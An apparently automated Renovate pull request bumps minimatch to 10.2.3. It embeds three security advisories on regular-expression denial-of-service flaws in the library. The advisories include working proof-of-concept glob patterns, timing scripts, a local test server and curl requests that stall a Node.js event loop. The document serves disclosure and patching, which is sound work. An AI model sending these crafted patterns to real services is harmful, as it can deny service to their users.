chore(deps): update dependency minimatch to v10.2.3 [security] (#493)

This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [minimatch](https://redirect.github.com/isaacs/minimatch) | [`10.2.1`
→ `10.2.3`](https://renovatebot.com/diffs/npm/minimatch/10.2.1/10.2.3) |
![age](https://developer.mend.io/api/mc/badges/age/npm/minimatch/10.2.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/minimatch/10.2.1/10.2.3?slim=true)
|

### GitHub Vulnerability Alerts

####
[CVE-2026-26996](https://redirect.github.com/isaacs/minimatch/security/advisories/GHSA-3ppc-4f35-3m26)

### Summary
`minimatch` is vulnerable to Regular Expression Denial of Service
(ReDoS) when a glob pattern contains many consecutive `*` wildcards
followed by a literal character that doesn't appear in the test string.
Each `*` compiles to a separate `[^/]*?` regex group, and when the match
fails, V8's regex engine backtracks exponentially across all possible
splits.

The time complexity is O(4^N) where N is the number of `*` characters.
With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it
hangs effectively forever.

### Details
_Give all details on the vulnerability. Pointing to the incriminated
source code is very helpful for the maintainer._

### PoC
When minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the
generated regex. For a pattern like `***************X***`:

```
/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/
```

When the test string doesn't contain `X`, the regex engine must try
every possible way to distribute the characters across all the `[^/]*?`
groups before concluding no match exists. With N groups and M
characters, this is O(C(N+M, N)) — exponential.

### Impact
Any application that passes user-controlled strings to `minimatch()` as
the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
- `.gitignore`-style filtering with user-defined rules
- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input

----

Thanks to @​ljharb for back-porting the fix to legacy versions of
minimatch.

####
[CVE-2026-27904](https://redirect.github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74)

### Summary

Nested `*()` extglobs produce regexps with nested unbounded quantifiers
(e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8.
With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input,
`minimatch()` stalls for over 7 seconds. Adding a single nesting level
or a few input characters pushes this to minutes. This is the most
severe finding: it is triggered by the default `minimatch()` API with no
special options, and the minimum viable pattern is only 12 bytes. The
same issue affects `+()` extglobs equally.

---

### Details

The root cause is in `AST.toRegExpSource()` at
[`src/ast.ts#L598`](https://redirect.github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598).
For the `*` extglob type, the close token emitted is `)*` or `)?`,
wrapping the recursive body in `(?:...)*`. When extglobs are nested,
each level adds another `*` quantifier around the previous group:

```typescript
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
```

This produces the following regexps:

| Pattern              | Generated regex                          |
|----------------------|------------------------------------------|
| `*(a\|b)`            | `/^(?:a\|b)*$/`                          |
| `*(*(a\|b))`         | `/^(?:(?:a\|b)*)*$/`                     |
| `*(*(*(a\|b)))`      | `/^(?:(?:(?:a\|b)*)*)*$/`               |
| `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/`          |

These are textbook nested-quantifier patterns. Against an input of
repeated `a` characters followed by a non-matching character `z`, V8's
backtracking engine explores an exponential number of paths before
returning `false`.

The generated regex is stored on `this.set` and evaluated inside
`matchOne()` at
[`src/index.ts#L1010`](https://redirect.github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010)
via `p.test(f)`. It is reached through the standard `minimatch()` call
with no configuration.

Measured times via `minimatch()`:

| Pattern              | Input              | Time       |
|----------------------|--------------------|------------|
| `*(*(a\|b))`         | `a` x30 + `z`      | ~68,000ms  |
| `*(*(*(a\|b)))`      | `a` x20 + `z`      | ~124,000ms |
| `*(*(*(*(a\|b))))` | `a` x25 + `z`      | ~116,000ms |
| `*(a\|a)`            | `a` x25 + `z`      | ~2,000ms   |

Depth inflection at fixed input `a` x16 + `z`:

| Depth | Pattern              | Time         |
|-------|----------------------|--------------|
| 1     | `*(a\|b)`            | 0ms          |
| 2     | `*(*(a\|b))`         | 4ms          |
| 3     | `*(*(*(a\|b)))`      | 270ms        |
| 4     | `*(*(*(*(a\|b))))` | 115,000ms    |

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms
to 123,544ms -- a 1,867x increase from a single added nesting level.

---

### PoC

Tested on minimatch@10.2.2, Node.js 20.

**Step 1 -- verify the generated regexps and timing (standalone
script)**

Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:

```javascript
import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
```

Observed output:
```
depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
```

**Step 2 -- HTTP server (event loop starvation proof)**

Save as `poc4-server.mjs`:

```javascript
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
```

Terminal 1 -- start the server:
```
node poc4-server.mjs
```

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return
immediately:
```
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
```

Terminal 3 -- send a benign request while the attack is in-flight:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
```

**Observed output -- Terminal 2 (attack):**
```
{"result":false,"ms":"64149"}
```

**Observed output -- Terminal 3 (benign, concurrent):**
```
{"result":false,"ms":"0"}

time_total: 63.022047s
```

**Terminal 1 (server log):**
```
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
```

The server reports `"ms":"0"` for the benign request -- the legitimate
request itself requires no CPU time. The entire 63-second `time_total`
is time spent waiting for the event loop to be released. The benign
request was only dispatched after the attack completed, confirmed by the
server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing
(64s) because the standalone script had warmed up V8's JIT through
earlier sequential calls. A cold server hits the worst case. Both
measurements confirm catastrophic backtracking -- the server result is
the more realistic figure for production impact.

---

### Impact

Any context where an attacker can influence the glob pattern passed to
`minimatch()` is vulnerable. The realistic attack surface includes build
tools and task runners that accept user-supplied glob arguments,
multi-tenant platforms where users configure glob-based rules (file
filters, ignore lists, include patterns), and CI/CD pipelines that
evaluate user-submitted config files containing glob expressions. No
evidence was found of production HTTP servers passing raw user input
directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+
seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes)
reaches 68 seconds with a 31-character input. Both the pattern and the
input fit in a query string or JSON body without triggering the 64 KB
length guard.

`+()` extglobs share the same code path and produce equivalent
worst-case behavior (6.3 seconds at depth=3 with an 18-character input,
confirmed).

**Mitigation available:** passing `{ noext: true }` to `minimatch()`
disables extglob processing entirely and reduces the same input to 0ms.
Applications that do not need extglob syntax should set this option when
handling untrusted patterns.

####
[CVE-2026-27903](https://redirect.github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj)

### Summary

`matchOne()` performs unbounded recursive backtracking when a glob
pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the
input path does not match. The time complexity is O(C(n, k)) -- binomial
-- where `n` is the number of path segments and `k` is the number of
globstars. With k=11 and n=30, a call to the default `minimatch()` API
stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No
memoization or call budget exists to bound this behavior.

---

### Details

The vulnerable loop is in `matchOne()` at
[`src/index.ts#L960`](https://redirect.github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):

```typescript
while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}
```

When a GLOBSTAR is encountered, the function tries to match the
remaining pattern against every suffix of the remaining file segments.
Each `**` multiplies the number of recursive calls by the number of
remaining segments. With k non-adjacent globstars and n file segments,
the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied
to this recursion. The call tree is fully explored before returning
`false` on a non-matching input.

Measured timing with n=30 path segments:

| k (globstars) | Pattern size | Time     |
|---------------|--------------|----------|
| 7             | 36 bytes     | ~154ms   |
| 9             | 46 bytes     | ~1.2s    |
| 11            | 56 bytes     | ~5.4s    |
| 12            | 61 bytes     | ~9.7s    |
| 13            | 66 bytes     | ~15.9s   |

---

### PoC

Tested on minimatch@10.2.2, Node.js 20.

**Step 1 -- inline script**

```javascript
import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
```

To scale the effect, increase k:

```javascript
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)
```

No special options are required. This reproduces with the default
`minimatch()` call.

**Step 2 -- HTTP server (event loop starvation proof)**

The following server demonstrates the event loop starvation effect. It
is a minimal harness, not a claim that this exact deployment pattern is
common:

```javascript
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)
```

Terminal 1 -- start the server:
```
node poc1-server.mjs
```

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately
return to shell:
```
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
```

Terminal 3 -- while the attack is in-flight, send a benign request:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
```

**Observed output (Terminal 3):**
```
{"result":true,"ms":"0"}

time_total: 4.132709s
```

The server reports `"ms":"0"` -- the legitimate request itself takes
zero processing time. The 4+ second `time_total` is entirely time spent
waiting for the event loop to be released by the attack request. Every
concurrent user is blocked for the full duration of each attack call.
Repeating the benign request while no attack is in-flight confirms the
baseline:

```
{"result":true,"ms":"0"}

time_total: 0.001599s
```

---

### Impact

Any application where an attacker can influence the glob pattern passed
to `minimatch()` is vulnerable. The realistic attack surface includes
build tools and task runners that accept user-supplied glob arguments
(ESLint, Webpack, Rollup config), multi-tenant systems where one tenant
configures glob-based rules that run in a shared process, admin or
developer interfaces that accept ignore-rule or filter configuration as
globs, and CI/CD pipelines that evaluate user-submitted config files
containing glob patterns. An attacker who can place a crafted pattern
into any of these paths can stall the Node.js event loop for tens of
seconds per invocation. The pattern is 56 bytes for a 5-second stall and
does not require authentication in contexts where pattern input is part
of the feature.

---

### Release Notes

<details>
<summary>isaacs/minimatch (minimatch)</summary>

###
[`v10.2.3`](https://redirect.github.com/isaacs/minimatch/compare/v10.2.2...v10.2.3)

[Compare
Source](https://redirect.github.com/isaacs/minimatch/compare/v10.2.2...v10.2.3)

###
[`v10.2.2`](https://redirect.github.com/isaacs/minimatch/compare/v10.2.1...v10.2.2)

[Compare
Source](https://redirect.github.com/isaacs/minimatch/compare/v10.2.1...v10.2.2)

</details>

---

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package.json

@@ -23,7 +23,7 @@
     "@changesets/cli": "2.29.8",
     "@proto-graphql/tsconfig": "workspace:*",
     "@types/node": "24.10.13",
-    "minimatch": "10.2.1",
+    "minimatch": "10.2.3",
     "ts-proto": "2.2.0",
     "tsup": "8.5.1",
     "tsx": "4.21.0",